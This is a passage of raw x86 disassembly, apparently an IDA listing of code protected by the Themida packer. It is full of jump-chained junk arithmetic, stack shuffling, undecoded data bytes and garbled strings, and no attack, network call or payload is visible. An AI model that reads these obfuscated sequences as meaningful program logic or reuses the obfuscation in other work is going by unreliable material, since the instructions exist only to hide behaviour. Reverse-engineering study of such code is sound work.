--------------------------------------------------------------------------- dw 0F75Ah dd 1CE281DAh, 5630E72Ch, 840014BEh, 5EF23120h, 0FF28DBE9h db 0FFh ; --------------------------------------------------------------------------- loc_567EE9: ; CODE XREF: Themida_:00567A62j sub cl, 0FFh jmp loc_5631E8 ; --------------------------------------------------------------------------- db 0B7h, 0DCh, 0C0h dd 0DAE905EFh db 0E9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567EFB: ; CODE XREF: Themida_:005641AFj push edi mov edi, 7C1D36CAh and edi, 4A590932h jmp loc_563E80 ; --------------------------------------------------------------------------- a8USfn db '╨8$Н&И■N',0 align 2 loc_567F16: ; CODE XREF: Themida_:0056A189j dec eax not eax shr eax, 5 shl eax, 7 jmp loc_5668B1 ; --------------------------------------------------------------------------- loc_567F24: ; CODE XREF: Themida_:0055FF67j mov bh, 29h not bh shl bh, 6 jmp loc_55C751 ; --------------------------------------------------------------------------- loc_567F30: ; CODE XREF: Themida_:0055CE11j pop edx add al, bl add al, 81h jmp loc_56BBEE ; --------------------------------------------------------------------------- loc_567F3A: ; CODE XREF: Themida_:00560EBDj movzx cx, ah sub esp, 4 mov [esp], esi push esp jmp loc_56A872 ; --------------------------------------------------------------------------- loc_567F4A: ; CODE XREF: Themida_:0056962Bj mov eax, 79652595h and ebp, eax pop eax push edi push ecx mov ecx, 0CF314DEh mov edi, ecx pop ecx push 79C9h mov [esp], edx mov edx, 0 sub edx, edi xchg edx, edi pop edx jmp loc_564ED9 ; --------------------------------------------------------------------------- loc_567F73: ; CODE XREF: Themida_:005660FBj pop edx pop dword ptr [esp] jmp loc_56466D ; --------------------------------------------------------------------------- loc_567F7C: ; CODE XREF: Themida_:0055F62Bj ; Themida_:005668DDj mov esi, edx pop edx jmp loc_569BE7 ; --------------------------------------------------------------------------- dword_567F84 dd 0DE6DE951h ; DATA XREF: Themida_:0055613Co db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567F8A: ; CODE XREF: Themida_:005673EBj push dword ptr [edi+24h] push 3B8Fh jmp loc_56AEEA ; --------------------------------------------------------------------------- loc_567F97: ; CODE XREF: Themida_:0056BBF0j push 10Ah mov [esp], edx push edi jmp loc_558507 ; --------------------------------------------------------------------------- loc_567FA5: ; CODE XREF: Themida_:0056979Fj push ebp jmp loc_55F942 ; --------------------------------------------------------------------------- loc_567FAB: ; CODE XREF: Themida_:0055B47Dj push esp pop ebx add ebx, 4 jmp loc_56447B ; --------------------------------------------------------------------------- loc_567FB8: ; CODE XREF: Themida_:loc_56A6FCj not ebx inc ebx jmp loc_564863 ; --------------------------------------------------------------------------- dd 12BB535Ch, 815CC054h, 97FDDAEBh, 5BD82954h, 1EE9D001h dd 0BBFFFEFAh, 6D88150Dh, 6372C381h, 0DF899FD3h, 4EC835Bh dd 0FEE741E9h db 0FFh ; --------------------------------------------------------------------------- loc_567FED: ; CODE XREF: Themida_:0056A537j add eax, ebx sub eax, 68AB3FFFh sub eax, 680C2B70h push dword ptr [esp] jmp loc_55D2B2 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 8F24248Bh, 248B2404h, 0E657E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_568012: ; CODE XREF: Themida_:005654AEj jmp loc_557160 ; --------------------------------------------------------------------------- loc_568017: ; CODE XREF: Themida_:00557D6Aj js loc_55B1E1 or ecx, 30253A68h jnp loc_5584EA push esi mov esi, 3F804963h add ecx, esi pop esi mov edx, ecx push dword ptr [esp] loc_568037: ; CODE XREF: Themida_:00558483j mov dl, 87h mov bl, dl pop edx shr bl, 5 inc bl sub bl, 0C8h dec bl jmp loc_56984F ; --------------------------------------------------------------------------- db 52h dd 8904EC83h, 5E542434h, 4C681h, 0B9510000h, 4, 5659CE29h dd 42474FFh, 24048F5Eh, 241C895Ch, 0C780FEB7h, 0EFE9516Ah db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56807B: ; CODE XREF: Themida_:00566988j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55D471 ; --------------------------------------------------------------------------- loc_56808E: ; CODE XREF: Themida_:0056983Aj add esp, 4 add ebp, 4 push 1636h mov [esp], ebx mov ebx, 4 sub ebp, 397033E0h add ebp, 7A4679F3h sub ebp, ebx sub ebp, 7A4679F3h push ecx mov ecx, 6D04287Bh add ecx, 0CC6C0B65h add ebp, ecx pop ecx mov ebx, [esp] jmp loc_565ED2 ; --------------------------------------------------------------------------- loc_5680CF: ; CODE XREF: Themida_:0055A45Cj pop esp mov [esp], ebx push 2BD1h mov [esp], esp push eax mov eax, 4 sub dword ptr [esp+4], 9513DC5h add [esp+4], eax add dword ptr [esp+4], 9513DC5h jmp loc_560072 ; --------------------------------------------------------------------------- loc_5680FA: ; CODE XREF: Themida_:0056D63Dj push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 pop ax shr cl, 5 jmp loc_55A9F2 ; --------------------------------------------------------------------------- loc_568113: ; CODE XREF: Themida_:0055B3A5j mov [esp], ebx jmp loc_5598E4 ; --------------------------------------------------------------------------- db 1 dd 0FAF6E9C8h, 0C381FFFEh, 47A52AEEh, 0FF9BE2E9h db 0FFh ; --------------------------------------------------------------------------- loc_56812D: ; CODE XREF: Themida_:0055EC8Cj mov dh, 18h xor dh, 0ABh jmp loc_556E92 ; --------------------------------------------------------------------------- loc_568137: ; CODE XREF: Themida_:00557961j dec bl jl loc_55AF9C jmp loc_55F15C ; --------------------------------------------------------------------------- loc_568144: ; CODE XREF: Themida_:loc_55CB78j or ecx, 4A700EEAh sub ecx, 56C72DE5h jp loc_55908C shr ecx, 7 jmp loc_55F32C ; --------------------------------------------------------------------------- dw 0F988h dd 4C48157h, 81000000h, 4C3h, 241C3300h, 0FF7046E9h db 0FFh ; --------------------------------------------------------------------------- loc_568175: ; CODE XREF: Themida_:00565BFEj or ebp, 8961334h jmp loc_561477 ; --------------------------------------------------------------------------- loc_568180: ; CODE XREF: Themida_:0055B08Ej jmp loc_56325A ; --------------------------------------------------------------------------- loc_568185: ; CODE XREF: Themida_:0055A356j ; Themida_:0056007Aj push 210C570Bh pop ecx not ecx sub ecx, 0DEF3A8F0h jmp loc_56C23F ; --------------------------------------------------------------------------- aOp4sQsL db '╥╝P╟щ4▒,qИвL',0 align 2 loc_5681A6: ; CODE XREF: Themida_:00564A17j xor eax, 0A62B7095h inc eax jl loc_55F185 shr eax, 1 or eax, 32111777h jmp loc_55C36D ; --------------------------------------------------------------------------- loc_5681BE: ; CODE XREF: Themida_:0055D9E6j push ebp mov ebp, 4 sub esi, 28205B14h add esi, 2F2B0CA8h add esi, ebp sub esi, 2F2B0CA8h add esi, 28205B14h pop ebp sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], eax mov esi, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 and eax, esi push dword ptr [esp] jmp loc_563406 ; --------------------------------------------------------------------------- byte_56820B db 0ADh ; DATA XREF: Themida_:0055600Co dd 0EC81D831h, 4, 50242C89h, 0D04E0B68h, 2434FF32h, 4C48358h dd 0FF7F26E9h, 66E381FFh, 0F66166Eh, 0FF989B82h, 87E4E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56823A: ; CODE XREF: Themida_:0056CA0Dj jmp loc_56A20C ; --------------------------------------------------------------------------- db 8Bh dd 0C481240Ch, 4, 0FFBB0DE9h db 0FFh ; --------------------------------------------------------------------------- loc_56824D: ; CODE XREF: Themida_:0056572Bj add dl, bl pop bx sub al, dl mov edx, [esp] add esp, 4 pop edx push 5784h jmp loc_56734E ; --------------------------------------------------------------------------- loc_568267: ; CODE XREF: Themida_:00561862j pop ebp push dword ptr [esp] jmp loc_5670A5 ; --------------------------------------------------------------------------- dd 2920BB53h, 22B906BCh, 3106BC29h, 2434FFD9h, 0FF9446E9h db 0FFh ; --------------------------------------------------------------------------- loc_568285: ; CODE XREF: Themida_:005669DEj push ecx mov ecx, 1B5C0CB7h sub edi, ecx pop ecx jmp loc_557071 ; --------------------------------------------------------------------------- loc_568293: ; CODE XREF: Themida_:00563267j add esp, 2 add al, 64h jmp loc_569138 ; --------------------------------------------------------------------------- loc_5682A0: ; CODE XREF: Themida_:00564D34j add eax, 4 add eax, 4 xchg eax, [esp] pop esp xchg ebx, [esp] pop esp mov eax, edi mov edi, [esp] add esp, 4 push 2FDEh mov [esp], edx mov edx, 12F011D5h push ebp mov ebp, 7A861383h shl ebp, 4 push edx mov edx, 8D46EE0h xor edx, offset byte_4830A9 jmp loc_55F858 ; --------------------------------------------------------------------------- loc_5682E4: ; CODE XREF: Themida_:00563F49j xor [esp], eax xor eax, [esp] pop esp push 6A76h jmp loc_56904D ; --------------------------------------------------------------------------- loc_5682F5: ; CODE XREF: Themida_:0055CD28j or edx, 1D7F372Eh jge loc_55E9C1 xor edx, 6BFE1356h mov eax, edx pop edx mov edx, eax sub bl, 0B7h pop ebx loc_568310: ; CODE XREF: Themida_:00567C66j push 0 jmp loc_55A2D0 ; --------------------------------------------------------------------------- dw 2C89h dd 5886BD24h, 814520B5h, 1323CDh, 0C2CAE938h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56832E: ; CODE XREF: Themida_:00560CC3j mov edx, 2 add ebp, edx pop edx jmp loc_5619AA ; --------------------------------------------------------------------------- loc_56833B: ; CODE XREF: Themida_:00564BB0j add ebp, eax pop eax jmp loc_55F367 ; --------------------------------------------------------------------------- db 0Fh dd 0FF3C4281h, 5AEB81FFh, 0F096B7Ch, 0FFD91C8Fh, 0EE815CFFh dd 6BF77AFAh, 895EF189h, 240C8BCAh, 0FF38BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_568369: ; CODE XREF: Themida_:0055CAF8j mov ebx, [esp] add esp, 4 push edi mov edi, 4D6C26D4h sub edi, 4D6C26D0h jmp loc_5626CB ; --------------------------------------------------------------------------- loc_568383: ; CODE XREF: Themida_:0056776Fj add ebx, ebp jmp loc_56C6B9 ; --------------------------------------------------------------------------- loc_56838A: ; CODE XREF: Themida_:0055E71Ej pop ecx xchg ebp, [esp] pop esp mov edx, [esp] add esp, 4 add dword ptr [esp], 741A6C06h sub dword ptr [esp], 7FB10DDEh add [esp], eax push ecx mov ecx, 7FB10DDEh add [esp+4], ecx pop ecx push 1657h mov [esp], esi jmp loc_56A596 ; --------------------------------------------------------------------------- dw 0F75Eh dd 80972DD8h, 0CEE9ED7Ch db 0E3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5683CB: ; CODE XREF: Themida_:00563A7Dj push 72557051h pop ecx push edi mov edi, 5C6826F6h sub ecx, edi mov edi, [esp] add esp, 4 jmp loc_556722 ; --------------------------------------------------------------------------- dd 81E68956h, 4ECh, 24048900h, 4EC81h, 0C3E90000h db 56h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5683FB: ; CODE XREF: Themida_:005672B3j jp loc_55BDA0 push bx mov bl, 41h and al, bl pop bx xor al, cl xor cl, al push esi push dword ptr [esp] pop eax push 7ED2h jmp loc_568AFF ; --------------------------------------------------------------------------- loc_56841C: ; CODE XREF: Themida_:00558AD7j mov [esp], esi xor dword ptr [esp], 13057823h pop edi push 6AD2h jmp loc_55F315 ; --------------------------------------------------------------------------- loc_568431: ; CODE XREF: Themida_:00564332j pop esi jmp loc_562FF3 ; --------------------------------------------------------------------------- loc_568437: ; CODE XREF: Themida_:005688A1j sub edi, 470912C8h mov ebp, edi jmp loc_56BC27 ; --------------------------------------------------------------------------- loc_568444: ; CODE XREF: Themida_:0055E49Cj ; Themida_:005630D3j pop esp mov [esp], ebx mov ebx, esp push edx push 4 pop edx sub ebx, 7D7B772Dh add ebx, edx jmp loc_55812C ; --------------------------------------------------------------------------- dw 0FD30h dd 25ED805Bh, 0E8280E2Ch, 4590E04h, 2CD82852h, 0F379E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568476: ; CODE XREF: Themida_:0056110Aj add esp, 4 shr dh, 6 shl dh, 2 not dh or dh, 7Dh sub dh, 0EDh and ch, dh pop edx push dx push cx mov cl, 6Dh shl cl, 2 not cl sub cl, 65h mov dl, cl pop cx push eax mov al, 0A0h neg al jmp loc_5653B6 ; --------------------------------------------------------------------------- db 1, 0E8h, 0E9h dd 0FFFF40EBh, 0F07E9C1h, 0FF92FA85h, 31D931FFh, 88D931CBh db 0EAh, 88h, 0FFh ; --------------------------------------------------------------------------- loc_5684C3: ; CODE XREF: Themida_:0055C14Dj add edi, ebp pop ebp add edi, 4 jmp loc_55DA5B ; --------------------------------------------------------------------------- word_5684CE dw 30ACh ; DATA XREF: Themida_:0055621Co dd 4EC81D8h, 0E9000000h, 0FFFFA021h ; --------------------------------------------------------------------------- loc_5684DC: ; CODE XREF: Themida_:005670DCj ; Themida_:0056B9EEj push edi push 2C961062h jmp loc_56A590 ; --------------------------------------------------------------------------- loc_5684E7: ; CODE XREF: Themida_:0056CAB2j jge loc_55BBBB sub bl, 91h inc bl xor bl, 54h jg loc_565FB0 xor bl, 9 push edx mov dl, bl push eax jmp loc_561C54 ; --------------------------------------------------------------------------- db 0BDh dd 754B688Fh, 31E58145h, 0E93E2835h, 161h ; --------------------------------------------------------------------------- loc_568518: ; CODE XREF: Themida_:0055A562j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56851D: ; CODE XREF: Themida_:00560C3Cj xor ebp, 49434DB3h jmp loc_55B63F ; --------------------------------------------------------------------------- aHe db ']hE"',0 align 2 dw 0E6E9h dd 83FFFF6Fh, 69E904EEh db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56853B: ; CODE XREF: Themida_:0055646Ej push ebx mov bh, 86h inc bh jmp loc_5610F3 ; --------------------------------------------------------------------------- loc_568545: ; CODE XREF: Themida_:0056A68Aj xor esi, ebx jmp loc_55F928 ; --------------------------------------------------------------------------- loc_56854C: ; CODE XREF: Themida_:0055E7C1j sub ecx, ebx mov ebx, [esp] add esp, 4 or edx, ecx pop ecx jmp loc_5668C3 ; --------------------------------------------------------------------------- dd 2404335Fh, 33240431h, 1CE92404h db 0EAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56856B: ; CODE XREF: Themida_:0055ECF1j push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov edx, [esp] sub esp, 4 jmp loc_56606C ; --------------------------------------------------------------------------- loc_568581: ; CODE XREF: Themida_:0056BA3Cj add edx, 19DB7F32h mov edi, edx pop edx add esi, 37D55F4h add esi, edi sub esi, 37D55F4h pop edi jmp loc_56D38C ; --------------------------------------------------------------------------- dw 0E3C1h dd 18880F07h, 81FFFF57h, 425C6DF3h, 7F8D0F2Fh, 89FFFF24h db 0CBh ; --------------------------------------------------------------------------- loc_5685B5: ; CODE XREF: Themida_:0055EDF9j add ecx, 995847C0h sub ebp, ecx pop ecx pop ebx push edi mov edi, 193E632Ah xchg esi, edi inc esi jmp loc_564095 ; --------------------------------------------------------------------------- loc_5685CD: ; CODE XREF: Themida_:00565DE9j add esp, 4 shr ecx, 0Ah jmp loc_569B63 ; --------------------------------------------------------------------------- loc_5685D8: ; CODE XREF: Themida_:0056CF11j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add ebp, eax mov eax, [esp] add esp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop eax push 64E0h mov [esp], ebx push 6016h jmp loc_55883E ; --------------------------------------------------------------------------- loc_56860A: ; CODE XREF: Themida_:005591CCj add esi, 5FCF7C9Ah add esi, 0DA5686D5h add eax, esi jmp loc_55857A ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 633BD55h, 52450AA0h, 6EAC6853h, 815B520Dh, 4955F4F3h dd 44880F27h, 0E9FFFF7Ah, 0A95h ; --------------------------------------------------------------------------- loc_568640: ; CODE XREF: Themida_:00564552j push esi mov esi, 1A220014h mov eax, 1A220018h sub eax, esi pop esi jmp loc_557049 ; --------------------------------------------------------------------------- db 33h dd 1C31241Ch, 241C3324h, 0FF1460E9h db 0FFh ; --------------------------------------------------------------------------- loc_568661: ; CODE XREF: Themida_:0055B2B0j push ebx push 0D928B085h pop ebx sub [edx+30h], ebx pop ebx jmp loc_5670C9 ; --------------------------------------------------------------------------- loc_568671: ; CODE XREF: Themida_:0056705Aj pop edx sub eax, ebx jmp loc_55C883 ; --------------------------------------------------------------------------- db 52h, 0BAh, 0DFh dd 0F7317156h, 0BAC281DAh, 816CD107h, 0E00398E2h, 38A7E93Fh dd 2BFFFFFh, 89000000h, 0B9515FF8h, 7175159Fh, 0E904E1C1h dd 0FFFF0668h ; --------------------------------------------------------------------------- loc_5686A8: ; CODE XREF: Themida_:0056A837j mov [esp], eax mov ah, 8Ah jmp loc_565048 ; --------------------------------------------------------------------------- loc_5686B2: ; CODE XREF: Themida_:loc_55B57Bj xor edi, 698462BDh jge loc_55BEC4 sub esp, 4 jmp loc_55CBAD ; --------------------------------------------------------------------------- loc_5686C9: ; CODE XREF: Themida_:005566DAj pop ebx add ecx, 3B1B0455h pop ebx xchg ecx, [esp] jmp loc_55EAFA ; --------------------------------------------------------------------------- loc_5686D9: ; CODE XREF: Themida_:0056A3C1j mov [esp], ebp push ecx jmp loc_56B9C6 ; --------------------------------------------------------------------------- loc_5686E2: ; CODE XREF: Themida_:005593AFj jno loc_55974C jmp loc_56B136 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 8904EC83h db 1Ch, 24h word_5686F6 dw 34FFh ; DATA XREF: Themida_:00556144o dd 1D73E924h, 0E950FFFFh, 643h ; --------------------------------------------------------------------------- loc_568704: ; CODE XREF: Themida_:0055EDE8j mov eax, [esp] jmp loc_565398 ; --------------------------------------------------------------------------- loc_56870C: ; CODE XREF: Themida_:005622A5j mov [esp], edi mov edi, 193A3433h jmp loc_55E7C6 ; --------------------------------------------------------------------------- loc_568719: ; CODE XREF: Themida_:00565E15j pop ebx xchg ebp, [esp] pop esp add ebx, 4 add ebx, 4 jmp loc_55E5EA ; --------------------------------------------------------------------------- loc_56872F: ; CODE XREF: Themida_:005673A1j jmp loc_5578BA ; --------------------------------------------------------------------------- loc_568734: ; CODE XREF: Themida_:005673B8j push dx jmp loc_566A71 ; --------------------------------------------------------------------------- loc_56873B: ; CODE XREF: Themida_:0055CD22j jp loc_55BC65 not ebx inc ebx push esi jmp loc_55713B ; --------------------------------------------------------------------------- dw 0FB8Ah dd 0AB63E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568752: ; CODE XREF: Themida_:0055F362j sub [edx+30h], esi mov esi, [esp] add esp, 4 pop ebp sub dword ptr [edx+30h], 6DF3610Eh jno loc_567092 jmp loc_564D65 ; --------------------------------------------------------------------------- dw 8859h db 0EDh, 0Ch, 0E3h ; --------------------------------------------------------------------------- loc_568773: ; CODE XREF: Themida_:00562558j inc esi shl esi, 6 push 6AD9h mov [esp], ebx jmp loc_55C731 ; --------------------------------------------------------------------------- loc_568784: ; CODE XREF: Themida_:00559A54j mov cx, [esp] add esp, 2 pop cx xor bl, al movzx eax, al mov dx, [esp] push 3004h mov [esp], ebx jmp loc_56145F ; --------------------------------------------------------------------------- loc_5687A6: ; CODE XREF: Themida_:0056485Ej pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push edi mov edi, 4 jmp loc_564729 ; --------------------------------------------------------------------------- dw 0D3F7h dd 6731CB81h, 0EB815934h, 3CDE0417h, 7CE0C381h, 0C381439Bh dd 912AF904h, 15BDF29h, 84C781DFh, 0E971DD61h, 0FFFF6AC8h dword_5687F4 dd 0FF2434FFh, 81582434h, 4C4h, 28996800h, 2C890000h, 815D5424h ; DATA XREF: Themida_:00556044o dd 4C5h, 4BA5200h, 0E9000000h, 0FFFFB165h ; --------------------------------------------------------------------------- loc_56881C: ; CODE XREF: Themida_:0055B9CBj mov cl, 0D0h xor bh, cl pop cx push cx mov cl, 8 sub bh, 90h add bh, 0Fh sub bh, cl sub bh, 0Fh jmp loc_5590D4 ; --------------------------------------------------------------------------- dw 0C181h dd 680E2E81h, 0FF3B13E9h db 0FFh ; --------------------------------------------------------------------------- loc_568841: ; CODE XREF: Themida_:00560CF0j mov [esp], ecx jmp loc_5599A4 ; --------------------------------------------------------------------------- loc_568849: ; CODE XREF: Themida_:0055E805j pop edx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov dl, bl mov ebx, [esp] add esp, 4 mov cx, [esp] add esp, 2 jmp loc_5608ED ; --------------------------------------------------------------------------- loc_568871: ; CODE XREF: Themida_:00569A79j sub edi, edx jmp loc_55EB8A ; --------------------------------------------------------------------------- loc_568878: ; CODE XREF: Themida_:0056142Fj xor ebx, 76E386Ah jmp loc_55FB04 ; --------------------------------------------------------------------------- loc_568883: ; CODE XREF: Themida_:005699E1j mov dl, 33h jmp loc_55EB20 ; --------------------------------------------------------------------------- loc_56888A: ; CODE XREF: Themida_:0055AA67j sub esp, 4 mov [esp], edx sub esp, 4 jmp loc_56338D ; --------------------------------------------------------------------------- loc_56889E: ; CODE XREF: Themida_:0055F249j neg edi dec edi jmp loc_568437 ; --------------------------------------------------------------------------- loc_5688A6: ; CODE XREF: Themida_:00561987j push edi mov edi, 46DD3C65h jmp loc_557BEC ; --------------------------------------------------------------------------- loc_5688B1: ; CODE XREF: Themida_:00559A8Aj add ebp, ebx push 1AA4h mov [esp], ecx mov ecx, 551D10FFh jmp loc_55EDF7 ; --------------------------------------------------------------------------- loc_5688C5: ; CODE XREF: Themida_:loc_55A0C6j and edi, 4A1342B1h shr edi, 3 jnp loc_5670DB push ebp jmp loc_56CAB7 ; --------------------------------------------------------------------------- dw 0B951h dd 7C830724h db 89h, 0DDh, 5Ch ; --------------------------------------------------------------------------- loc_5688E3: ; CODE XREF: Themida_:0055F956j ; Themida_:00563EEAj push edx mov edx, 4 add esi, edx push dword ptr [esp] pop edx jmp loc_55FE58 ; --------------------------------------------------------------------------- dd 0C681D6F7h, 5EF038CBh, 0CF4CEE81h, 0F58903ECh, 87F5815Eh dd 0C17FD154h, 0E94505E5h, 0FFFF473Dh, 170C5ABBh, 5BD82948h dd 0FEF516E9h, 4C281FFh, 81000000h, 4EAh, 24148700h, 565CE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568936: ; CODE XREF: Themida_:0055A57Bj sub bl, 57h push eax push edx mov dl, 25h mov ah, 41h sub ah, dl pop edx and ah, 94h neg ah jmp loc_5587BC ; --------------------------------------------------------------------------- loc_56894C: ; CODE XREF: Themida_:005628DAj push edi push esp pop edi add edi, 4 jmp loc_56A627 ; --------------------------------------------------------------------------- dw 71E9h dd 57FFFF5Eh, 46E9E789h, 83FFFEECh, 148704EAh, 0E9545C24h dd 0FFFEE5C7h, 0C0614968h, 0BB535A73h, 0FFFFFFFFh, 875BDA01h dd 6A20E9DAh, 0C581FFFFh, 61DF3003h, 0FFEF015Bh, 835D2434h dd 0C78304C4h, 8A2DE902h db 2 dup(0FFh) word_5689A2 dw 83ADh ; DATA XREF: Themida_:005561C4o dd 0F00207Fh, 0FF261D84h, 50C681FFh, 814BF05Eh, 661696EEh dd 0A2FCE939h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5689BE: ; CODE XREF: Themida_:005629E3j mov eax, [esp] add esp, 4 sub ebx, 75F62899h jmp loc_569886 ; --------------------------------------------------------------------------- dw 1C87h dd 0C4835C24h, 24048F04h, 0FF82E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5689E1: ; CODE XREF: Themida_:loc_55A5ECj sub ebx, 7929B87Ah jmp loc_55E1F6 ; --------------------------------------------------------------------------- loc_5689EC: ; CODE XREF: Themida_:00562468j add esi, 0A12AC730h jmp loc_56137A ; --------------------------------------------------------------------------- loc_5689F7: ; CODE XREF: Themida_:005566B4j mov [esp], edx jmp loc_559519 ; --------------------------------------------------------------------------- loc_5689FF: ; CODE XREF: Themida_:0056A5FBj add dword ptr [esp+4], 4AEF3500h pop ebp push esi push edi mov edi, 44FC234Fh jmp loc_558F75 ; --------------------------------------------------------------------------- dd 50D1015Eh, 0B8h, 88C80100h, 9E95838h db 18h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568A27: ; CODE XREF: Themida_:0055801Fj sub esp, 4 mov [esp], edi jmp loc_55CCB4 ; --------------------------------------------------------------------------- loc_568A32: ; CODE XREF: Themida_:00561712j sub esp, 4 mov [esp], eax mov eax, 0A4208343h jmp loc_56314D ; --------------------------------------------------------------------------- loc_568A45: ; CODE XREF: Themida_:0055EAC2j xor esi, 3026764Eh sub esi, 0F78A62EEh jmp loc_55F08A ; --------------------------------------------------------------------------- loc_568A56: ; CODE XREF: Themida_:00565DB3j add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], cx jmp loc_5562E7 ; --------------------------------------------------------------------------- db 5Ch dd 545B062Dh, 6E0C122h, 0F5BB5351h, 895F2C39h, 0E1815BD9h dd 53E2AC8h, 2E9C149h, 6E9C141h, 0D571E981h, 0C829CFFEh dd 0AE90E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568A9A: ; CODE XREF: Themida_:0055E258j mov ebx, 100h and eax, ebx push dword ptr [esp] pop ebx jmp loc_564066 ; --------------------------------------------------------------------------- loc_568AAA: ; CODE XREF: Themida_:0055ACF0j pop ebx jmp loc_561446 ; --------------------------------------------------------------------------- loc_568AB0: ; CODE XREF: Themida_:00558227j js loc_5598A3 shr ebx, 7 not ebx shr ebx, 1 jns loc_564E30 push esi jmp loc_569297 ; --------------------------------------------------------------------------- db 0E9h, 0AFh, 0F0h dd 0C601FFFEh, 0B3B05D58h, 818FB652h, 2ECh, 0C896600h dd 0E9A0B124h, 0FFFF074Bh ; --------------------------------------------------------------------------- loc_568AE8: ; CODE XREF: Themida_:00563654j mov ecx, ebx jmp loc_569669 ; --------------------------------------------------------------------------- loc_568AEF: ; CODE XREF: Themida_:00568E54j mov esp, [esp] push small 1FCAh mov [esp], si jmp loc_557DDD ; --------------------------------------------------------------------------- loc_568AFF: ; CODE XREF: Themida_:00568417j mov [esp], eax jmp loc_562F98 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx jmp loc_566293 ; --------------------------------------------------------------------------- loc_568B10: ; CODE XREF: Themida_:0055AD27j xchg edx, ecx not edx xchg edx, ecx add ecx, 0A44C55E7h jmp loc_5570D2 ; --------------------------------------------------------------------------- loc_568B21: ; CODE XREF: Themida_:0055A695j mov ecx, [esp] jmp loc_5576AD ; --------------------------------------------------------------------------- loc_568B29: ; CODE XREF: Themida_:00556C32j pop ebp push edi jmp loc_562981 ; --------------------------------------------------------------------------- loc_568B30: ; CODE XREF: Themida_:0056624Aj mov [esp], ecx mov ecx, 53017309h xor ecx, 46823F1Fh or eax, ecx pop ecx inc eax js loc_55B247 push ecx mov ecx, 3DBF4E7Eh jmp loc_561E44 ; --------------------------------------------------------------------------- db 83h dd 0EFC004C4h, 6DF78006h, 285BFE88h, 6685AF0h, 89000065h dd 6DB7241Ch, 0E9ADE780h, 0FFFF0CBBh ; --------------------------------------------------------------------------- loc_568B74: ; CODE XREF: Themida_:00564476j xor eax, [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_568B83: ; CODE XREF: Themida_:00557D29j add eax, 7C0F1A36h sub eax, edx jmp loc_566F72 ; --------------------------------------------------------------------------- loc_568B8F: ; CODE XREF: Themida_:005603B1j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub ebx, edx jmp loc_569D50 ; --------------------------------------------------------------------------- loc_568BA8: ; CODE XREF: Themida_:0056C459j push dword ptr [esp] pop ebp add esp, 4 sub eax, ebx sub esp, 4 mov [esp], ebp push edi mov edi, 6E7328AFh jmp loc_55D1AD ; --------------------------------------------------------------------------- loc_568BC2: ; CODE XREF: Themida_:0056A777j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_568BC7: ; CODE XREF: Themida_:00560FC9j push ebp mov ebp, esp sub esp, 4 mov [esp], ebx jmp loc_55B8FC ; --------------------------------------------------------------------------- loc_568BD8: ; CODE XREF: Themida_:00556C01j xor ch, al jmp loc_55F9C5 ; --------------------------------------------------------------------------- loc_568BDF: ; CODE XREF: Themida_:00557E6Fj add esi, ebx sub esi, 75667A65h pop ebx sub esi, 48893315h add esi, edi add esi, 48893315h sub esi, 60C55D59h pop edi push edi push 22DCh jmp loc_560239 ; --------------------------------------------------------------------------- dd 4299E581h, 0BF575FD3h, 1EE22967h, 74E78147h, 4F19DF3Eh dd 8F3EF81h, 22E94648h, 83FFFFACh, 29E904C4h, 89FFFFD1h dd 243C8BFEh, 0E904C483h, 0FFFF4C84h, 0B850h, 0F0290000h dd 0DEF75896h, 0FF47A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_568C4D: ; CODE XREF: Themida_:00556BF6j add ebp, edx sub ebp, 768A2057h pop edx xchg ebp, [esp] mov esp, [esp] jmp loc_561839 ; --------------------------------------------------------------------------- loc_568C61: ; CODE XREF: Themida_:0055F80Fj mov esi, 4 add ecx, esi pop esi jmp loc_55C2C4 ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFFD435h ; --------------------------------------------------------------------------- loc_568C74: ; CODE XREF: Themida_:0055D957j pop eax add ebp, 4D693803h dec ebp not ebp jmp loc_55A9D5 ; --------------------------------------------------------------------------- loc_568C83: ; CODE XREF: Themida_:0056112Ej add esi, 4 jmp loc_563877 ; --------------------------------------------------------------------------- loc_568C8E: ; CODE XREF: Themida_:0055BB06j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_568C93: ; CODE XREF: Themida_:0056AF4Ej mov edi, eax 